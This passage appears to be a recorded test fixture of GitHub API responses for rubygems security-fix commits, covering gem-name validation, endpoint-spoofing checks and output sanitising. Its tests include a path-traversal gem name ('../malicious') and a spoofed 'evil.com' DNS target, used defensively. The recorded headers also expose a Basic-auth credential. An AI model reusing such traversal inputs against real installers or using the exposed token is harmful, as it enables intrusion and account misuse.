end"},{"sha":"6fd3399dd44c30ec8c778445bf8ee8557ad264dd","filename":"lib/rubygems/installer.rb","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -697,6 +697,11 @@ def verify_gem_home(unpack = false) # :nodoc:\n unpack or File.writable?(gem_home)\n end\n \n+ def verify_spec_name\n+ return if spec.name =~ Gem::Specification::VALID_NAME_PATTERN\n+ raise Gem::InstallError, \"#{spec} has an invalid name\"\n+ end\n+\n ##\n # Return the text for an application file.\n \n@@ -823,6 +828,8 @@ def pre_install_checks\n \n ensure_loadable_spec\n \n+ verify_spec_name\n+\n if options[:install_as_default]\n Gem.ensure_default_gem_subdirectories gem_home\n else"},{"sha":"8f0cf0b4026b7c73e7b663592572ba75c09168ec","filename":"lib/rubygems/remote_fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/remote_fetcher.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -110,7 +110,7 @@ def api_endpoint(uri)\n else\n target = res.target.to_s.strip\n \n- if /\\.#{Regexp.quote(host)}\\z/ =~ target\n+ if URI(\"http://\" + target).host.end_with?(\".#{host}\")\n return URI.parse \"#{uri.scheme}://#{target}#{uri.path}\"\n end\n "},{"sha":"8218cd9d449dadf90f1e1791af6ce82a1583b579","filename":"lib/rubygems/specification.rb","status":"modified","additions":10,"deletions":2,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -108,6 +108,8 @@ class Gem::Specification < Gem::BasicSpecification\n \n private_constant :LOAD_CACHE if defined? private_constant\n \n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n # :startdoc:\n \n ##\n@@ -2668,9 +2670,15 @@ def validate packaging = true\n end\n end\n \n- unless String === name then\n+ if !name.is_a?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n+ elsif name !~ /[a-zA-Z]/ then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n+ elsif name !~ VALID_NAME_PATTERN then\n raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: \\\"#{name.inspect}\\\"\"\n+ \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n end\n \n if raw_require_paths.empty? then"},{"sha":"b944b62c27cc5b4b8446d5d1decbc3325ddd750c","filename":"lib/rubygems/text.rb","status":"modified","additions":14,"deletions":1,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/text.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -6,13 +6,26 @@\n \n module Gem::Text\n \n+ ##\n+ # Remove any non-printable characters and make the text suitable for\n+ # printing.\n+ def clean_text(text)\n+ text.gsub(/[\\000-\\b\\v-\\f\\016-\\037\\177]/, \".\".freeze)\n+ end\n+\n+ def truncate_text(text, description, max_length = 100_000)\n+ raise ArgumentError, \"max_length must be positive\" unless max_length > 0\n+ return text if text.size <= max_length\n+ \"Truncating #{description} to #{max_length.to_s.reverse.gsub(/...(?=.)/,''\\&,'').reverse} characters:\\n\" + text[0, max_length]\n+ end\n+\n ##\n # Wraps +text+ to +wrap+ characters and optionally indents by +indent+\n # characters\n \n def format_text(text, wrap, indent=0)\n result = []\n- work = text.dup\n+ work = clean_text(text)\n \n while work.length > wrap do\n if work =~ /^(.{0,#{wrap}})[ \\n]/ then"},{"sha":"469223c6c0fb222756a5de524b595bd42c590638","filename":"test/rubygems/test_gem_commands_query_command.rb","status":"modified","additions":80,"deletions":0,"changes":80,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_commands_query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_commands_query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_query_command.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -116,6 +116,86 @@ def test_execute_details\n This is a lot of text. This is a lot of text. This is a lot of text.\n This is a lot of text.\n \n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_cleans_text\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 4\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ This is a lot of text. This is a lot of text. This is a lot of text.\n+ This is a lot of text.\n+\n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_truncates_summary\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 10_000\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ Truncating the summary for a-2 to 100,000 characters:\n+#{\" This is a lot of text. This is a lot of text. This is a lot of text.\\n\" * 1449} This is a lot of te\n+\n pl (1)\n Platform: i386-linux\n Author: A User"},{"sha":"dd049214fbb8af634378f694eacd31390ed5e3f3","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":20,"deletions":0,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -1448,6 +1448,26 @@ def test_pre_install_checks_wrong_rubygems_version\n end\n end\n \n+ def test_pre_install_checks_malicious_name\n+ spec = util_spec ''../malicious'', ''1''\n+ def spec.full_name # so the spec is buildable\n+ \"malicious-1\"\n+ end\n+ def spec.validate; end\n+\n+ util_build_gem spec\n+\n+ gem = File.join(@gemhome, ''cache'', spec.file_name)\n+\n+ use_ui @ui do\n+ @installer = Gem::Installer.at gem\n+ e = assert_raises Gem::InstallError do\n+ @installer.pre_install_checks\n+ end\n+ assert_equal ''# has an invalid name'', e.message\n+ end\n+ end\n+\n def test_shebang\n util_make_exec @spec, \"#!/usr/bin/ruby\"\n "},{"sha":"fbb7d890198e2698cf77628838a2010b088d2a54","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":15,"deletions":0,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -241,6 +241,21 @@ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original\n dns.verify\n end\n \n+ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original_in_path\n+ uri = URI.parse \"http://example.com/foo\"\n+ target = MiniTest::Mock.new\n+ target.expect :target, \"evil.com/a.example.com\"\n+\n+ dns = MiniTest::Mock.new\n+ dns.expect :getresource, target, [String, Object]\n+\n+ fetch = Gem::RemoteFetcher.new nil, dns\n+ assert_equal URI.parse(\"http://example.com/foo\"), fetch.api_endpoint(uri)\n+\n+ target.verify\n+ dns.verify\n+ end\n+\n def test_api_endpoint_timeout_warning\n uri = URI.parse \"http://gems.example.com/foo\"\n "},{"sha":"0fcc11e78f028c1b9c537da83e899b2e620b441d","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":31,"deletions":1,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -2985,7 +2985,37 @@ def test_validate_name\n @a1.validate\n end\n \n- assert_equal ''invalid value for attribute name: \":json\"'', e.message\n+ assert_equal ''invalid value for attribute name: \":json\" must be a string'', e.message\n+\n+ @a1.name = []\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"[]\\\" must be a string\", e.message\n+\n+ @a1.name = \"\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"12345\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"12345\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"../malicious\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"../malicious\\\" can only include letters, numbers, dashes, and underscores\", e.message\n+\n+ @a1.name = \"\\ba\\t\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\\ba\\\\t\\\" can only include letters, numbers, dashes, and underscores\", e.message\n end\n \n def test_validate_non_nil"},{"sha":"04f3f605e8c03703d0bebc2fe90dddb40502514c","filename":"test/rubygems/test_gem_text.rb","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/test/rubygems/test_gem_text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_text.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -36,6 +36,10 @@ def test_format_text_trailing # for two spaces after .\n assert_equal expected, format_text(text, 78)\n end\n \n+ def test_format_removes_nonprintable_characters\n+ assert_equal \"text with weird .. stuff .\", format_text(\"text with weird \\x1b\\x02 stuff \\x7f\", 40)\n+ end\n+\n def test_min3\n assert_equal 1, min3(1, 1, 1)\n assert_equal 1, min3(1, 1, 2)\n@@ -74,4 +78,11 @@ def test_levenshtein_distance_replace\n assert_equal 7, levenshtein_distance(\"xxxxxxx\", \"ZenTest\")\n assert_equal 7, levenshtein_distance(\"zentest\", \"xxxxxxx\")\n end\n+\n+ def test_truncate_text\n+ assert_equal \"abc\", truncate_text(\"abc\", \"desc\")\n+ assert_equal \"Truncating desc to 2 characters:\\nab\", truncate_text(\"abc\", \"desc\", 2)\n+ s = \"ab\" * 500_001\n+ assert_equal \"Truncating desc to 1,000,000 characters:\\n#{s[0, 1_000_000]}\", truncate_text(s, \"desc\", 1_000_000)\n+ end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:15 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ad5c0a53a86ca5b218c7976765c0365b91d22cb2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:15 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4391' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4f5983c11eae03bedbf70cce6a755603" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045869' X-Github-Request-Id: - A322:4D97:903C63:1C486B2:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"ad5c0a53a86ca5b218c7976765c0365b91d22cb2","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T21:52:21Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"Validate specification names when installing\n\nThis prevents a malicious user from crafting a gem that could write to an arbitrary directory, outside of the gems directory, by using metacharacters such as `..`","tree":{"sha":"c00700bf1c487010c700978b0414afa47e57465c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c00700bf1c487010c700978b0414afa47e57465c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ad5c0a53a86ca5b218c7976765c0365b91d22cb2","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahW7FsP/RK9qtjwuVvhmTbnMTOjLxrj\n3w1GxPNJkRFvb6g4clNvGiCzsdmXG+ftnlOkAJ3t+VDsJsc51OgwjzSrMkrBylk1\nGRE+wQTM5tcE4t0yVTIj1k2ZuO1ndL5m75hiUsBr23JbCpxzPlH4h+s75XzKEyVL\nZzbX/U9i1+I5igj1Gu3HfJroALCdWI0wEBof27jACEgN7V3pJCJhY7RSLahJj1QA\nxY9szaeYePl5AJ5+sH1kWNErCi4qPvjlQD/HWs1MmKSqTl01C4ip7jR343ZdSO6O\n5z6CQQlVCTUQrw1MkZbW97RXmSWeV6/NhOehObzGawUHqDC+W8L2NEa5WyNS6yFL\nJ326C8/NwgDokpzodMjAfF1tSyJcLJgB6z/qlJxsLEGurw2Hzajbqoqp2CLD8S27\nCQOPhXi3+pVUzMkjddNhXSzx5FWZmz3zxvfDw5WdHwh0YFBSJqwU+fI2U9cOqG5z\nTGY9xHfm5zP46ayAVF/56nIy5FKCT6I6egOwtjvVMO4xNsUmTYte8z46Q0iVhxEO\nb5NDkhpigEc+u08SKBKPkZr/4w1LCrLqBNLSPA2XBGSTHd2De9yeItwJd4b7/KqT\nls2wtM6llrnqRDLrwGtlxj+4gAEtJEU78XL+DnBKwHOMWkkKAxyWlRfGUgEgZjLx\nRH663nzsApbpNVuwS1on\n=Bwf8\n-----END PGP SIGNATURE-----","payload":"tree c00700bf1c487010c700978b0414afa47e57465c\nparent 44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95\nauthor Samuel Giddins 1503697941 -0400\ncommitter Samuel Giddins 1503884235 -0500\n\nValidate specification names when installing\n\nThis prevents a malicious user from crafting a gem that could write to an arbitrary directory, outside of the gems directory, by using metacharacters such as `..`\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ad5c0a53a86ca5b218c7976765c0365b91d22cb2","html_url":"https://github.com/rubygems/rubygems/commit/ad5c0a53a86ca5b218c7976765c0365b91d22cb2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ad5c0a53a86ca5b218c7976765c0365b91d22cb2/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","url":"https://api.github.com/repos/rubygems/rubygems/commits/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","html_url":"https://github.com/rubygems/rubygems/commit/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95"}],"stats":{"total":27,"additions":27,"deletions":0},"files":[{"sha":"6fd3399dd44c30ec8c778445bf8ee8557ad264dd","filename":"lib/rubygems/installer.rb","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/ad5c0a53a86ca5b218c7976765c0365b91d22cb2/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ad5c0a53a86ca5b218c7976765c0365b91d22cb2/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=ad5c0a53a86ca5b218c7976765c0365b91d22cb2","patch":"@@ -697,6 +697,11 @@ def verify_gem_home(unpack = false) # :nodoc:\n unpack or File.writable?(gem_home)\n end\n \n+ def verify_spec_name\n+ return if spec.name =~ Gem::Specification::VALID_NAME_PATTERN\n+ raise Gem::InstallError, \"#{spec} has an invalid name\"\n+ end\n+\n ##\n # Return the text for an application file.\n \n@@ -823,6 +828,8 @@ def pre_install_checks\n \n ensure_loadable_spec\n \n+ verify_spec_name\n+\n if options[:install_as_default]\n Gem.ensure_default_gem_subdirectories gem_home\n else"},{"sha":"dd049214fbb8af634378f694eacd31390ed5e3f3","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":20,"deletions":0,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/ad5c0a53a86ca5b218c7976765c0365b91d22cb2/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ad5c0a53a86ca5b218c7976765c0365b91d22cb2/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=ad5c0a53a86ca5b218c7976765c0365b91d22cb2","patch":"@@ -1448,6 +1448,26 @@ def test_pre_install_checks_wrong_rubygems_version\n end\n end\n \n+ def test_pre_install_checks_malicious_name\n+ spec = util_spec ''../malicious'', ''1''\n+ def spec.full_name # so the spec is buildable\n+ \"malicious-1\"\n+ end\n+ def spec.validate; end\n+\n+ util_build_gem spec\n+\n+ gem = File.join(@gemhome, ''cache'', spec.file_name)\n+\n+ use_ui @ui do\n+ @installer = Gem::Installer.at gem\n+ e = assert_raises Gem::InstallError do\n+ @installer.pre_install_checks\n+ end\n+ assert_equal ''# has an invalid name'', e.message\n+ end\n+ end\n+\n def test_shebang\n util_make_exec @spec, \"#!/usr/bin/ruby\"\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:15 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:15 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4390' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7715aeeaed4cfe30f2fef66fb23c96c9" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050975' X-Github-Request-Id: - C5F4:4D95:F48830:1C84A9D:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T21:51:07Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"Validate specification names\n\nThis will validate that specification names are restricted to those that rubygems.org will accept, and provide a superior experience when users accidentally include invalid characters in the name compared to an invalid push or a failing install","tree":{"sha":"bd6135aedd96066d5b4a6572d6671e2576ee34c9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd6135aedd96066d5b4a6572d6671e2576ee34c9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","comment_count":2,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahW88AQAICcAjTR7mxHJdU2tZF0g8lO\nlH4gnSMQYEfCcZTCpdeO98cfWZXmkk5PmybriK5kSJo53p0fYPe09UQ6qI4/YMBT\nG8OGC1mtQX7qNZYT3imPe3JhSF1XoVSKgQhPYbo0LSr5TBgL0K1hkVgGIr1sQtHO\nOl4o0Us6WrCoOmCXG5P9tpX36UHxAA61In0+wWQRBq9UoJYOHmAzXtL00UxOfTJE\nv+9Y58O4leVNUXXmCDdLfEt+5kUJoLKmzsOYEp5SA1DtFE0vD/RRMkydhitI0yv2\nZTbXabpIgDeh9OfqyhP64VZmaBnkan9GIxQOf6YnkxOos7s7BfOVRXQJOLCRE9y+\ndJxJWykTi/w3fGUZA/7Jm/j1m388mUjBc/oIzg7fvdOv8YETmFktgJDt8z0TWC7m\nJlOAP4FqDBQzRZCtqkWoljUb54wUt7dpwejeKf7tXb5i9pkQ4xVk5T9MGQ3spI7s\nOljI2BK7qCvZOTFlGdDwVwSnt6fEs/3WixYq46VKBiLOGLXf3pHCbLtD1qEiomwD\ngiFcOyj1IvEH3CxFs9nAQ9aB96fdp1qvHJUKvEqcrIRUAHxI9fO62dyfz+Lvd+oW\nCScgG0PMPPdsUojzMcGZj2nHzoIWfLdYoSmtWHxcuHEb/1XXE68P5GQV4j1v4xsP\n0O4tAM2t6H+RpxZdiOTl\n=f09u\n-----END PGP SIGNATURE-----","payload":"tree bd6135aedd96066d5b4a6572d6671e2576ee34c9\nparent 8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251\nauthor Samuel Giddins 1503697867 -0400\ncommitter Samuel Giddins 1503884235 -0500\n\nValidate specification names\n\nThis will validate that specification names are restricted to those that rubygems.org will accept, and provide a superior experience when users accidentally include invalid characters in the name compared to an invalid push or a failing install\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","html_url":"https://github.com/rubygems/rubygems/commit/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/44cc27cd6123b8eaafbcec5c8fe0dd0bc01d2a95/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251","html_url":"https://github.com/rubygems/rubygems/commit/8a38a4fc24c6591e6c8f43d1fadab6efeb4d6251"}],"stats":{"total":44,"additions":41,"deletions":3},"files":[{"sha":"8218cd9d449dadf90f1e1791af6ce82a1583b579","f